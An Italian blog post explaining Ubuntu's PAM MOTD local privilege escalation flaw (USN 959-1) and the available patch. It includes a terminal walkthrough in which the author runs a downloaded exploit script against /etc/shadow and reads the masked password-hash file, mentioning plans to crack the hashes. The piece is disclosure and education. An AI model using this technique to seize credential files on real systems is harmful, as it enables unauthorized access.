Vulnerabilità PAM Local Privilege Escalation in Ubuntu 9.10 e 10.04

L’Ubuntu Security Notice 959-1 pubblicata il 7 Luglio  rende nota l’esistenza di un bug che consente ad un utente normale di elevare i propri privilegi a livello di root, permettendogli di accedere a risorse altrimenti non accessibili.

Questo bug (scoperto da Denies Excoffier), di cui esiste già una patch e che appartiene alla categoria  “local privilege escalation”, si annida nel modulo PAM MOTD di Ubuntu. I programmatori hanno commesso un errore nella gestione dei permessi durante la creazione di un file da parte dell’utente.

L’esistenza di un exploit (disponibile su SecurityFocus) in questa occasione non è fondamentale, anche se semplifica ulteriormente la procedura di sfruttamento di questa vulnerabilità. Infatti il cuore di questo exploit è la creazione di un link simbolico tra una directory nella home dell’utente e la risorsa proibita a cui si vuole accedere.

Per essere più chiari: con questo bug un qualsiasi “utente semplice” che abbia le credenziali di accesso al sistema, può scalare  i privilegi e catturare il file contenente gli hash delle password (/etc/shadow), normalmente non accessibile.

Di seguito mostro passo-passo l’esecuzione di questa operazione che ho svolto sul mio Ubuntu Server 9.10:

Eccomi loggato in Ubuntu Server 9.10:

angelor@ubuntu:~$  uname -a
Linux  ubuntu 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009  i686 GNU/Linux

Intanto vetifico i permessi del file degli hash delle password:

angelor@ubuntu:~$ ls  -l /etc/shadow
-rw-r----- 1 root shadow 926 2010-05-02 21:19 /etc/shadow

correttamente appartengono a root;  quindi verifico se posso accedere al file /etc/shadow, il file degli hash delle password:

angelor@ubuntu:~$ cat  /etc/shadow
cat:  /etc/shadow: Permission denied

come previsto l’accesso è negato.
Ora eseguo l’exploit che ho scaricato da SecurityFocus:

angelor@ubuntu:~$ ./41465.sh /etc/shadow

per verificare la riuscita dell’exploit chiudo la shell ed effettuo un nuovo login.
Una  volta rientrato verifico di nuovo i pernessi del file /etc/shadow:

angelor@ubuntu:~$ ls  -al /etc/shadow
-rw-r----- 1 angelor angelor 926 2010-05-02 21:19 /etc/shadow

Questa volta il file appartiene a me! Quindi posso visualizzarlo:

angelor@ubuntu:~$ cat  /etc/shadow
root:xxxxxxxxxxxxxxxxxxxxxxxxxxx:14731:0:99999:7:::
daemon:*:14731:0:99999:7:::
bin:*:14731:0:99999:7:::
sys:*:14731:0:99999:7:::
sync:*:14731:0:99999:7:::
games:*:14731:0:99999:7:::
man:*:14731:0:99999:7:::
lp:*:14731:0:99999:7:::
mail:*:14731:0:99999:7:::
news:*:14731:0:99999:7:::
uucp:*:14731:0:99999:7:::
proxy:*:14731:0:99999:7:::
www-data:*:14731:0:99999:7:::
backup:*:14731:0:99999:7:::
list:*:14731:0:99999:7:::
irc:*:14731:0:99999:7:::
gnats:*:14731:0:99999:7:::
nobody:*:14731:0:99999:7:::
libuuid:!:14731:0:99999:7:::
syslog:*:14731:0:99999:7:::
mysql:!:14731:0:99999:7:::
landscape:*:14731:0:99999:7:::
postfix:*:14731:0:99999:7:::
dovecot:*:14731:0:99999:7:::
sshd:*:14731:0:99999:7:::
tomcat6:*:14731:0:99999:7:::
angelor:xxxxxxxxxxxxxxxxxxxxxxxxxxx:14731:0:99999:7:::
angelor@ubuntu:~$

Ho letto il file delle password senza essere root: questo è il significato di privilege escalation. A questo punto non mi resta che tentare di craccare le password. ma questa è un’altra storia e la racconterò un’altra volta.

Questa vulnerabilità colpisce tutte le piattaforme di Ubuntu 9.10 e Ubuntu 10.04. E’ già disponibile la patch, basta effettuare un aggiornamento dal menù di sistema.

2 Commenti

2 Trackbacks / Pingbacks

  1. Technotizie.it
  2. Tweets that mention Vulnerabilità PAM Local Privilege Escalation in Ubuntu 9.10 e 10.04 | PillolHacking.Net -- Topsy.com

I commenti sono bloccati.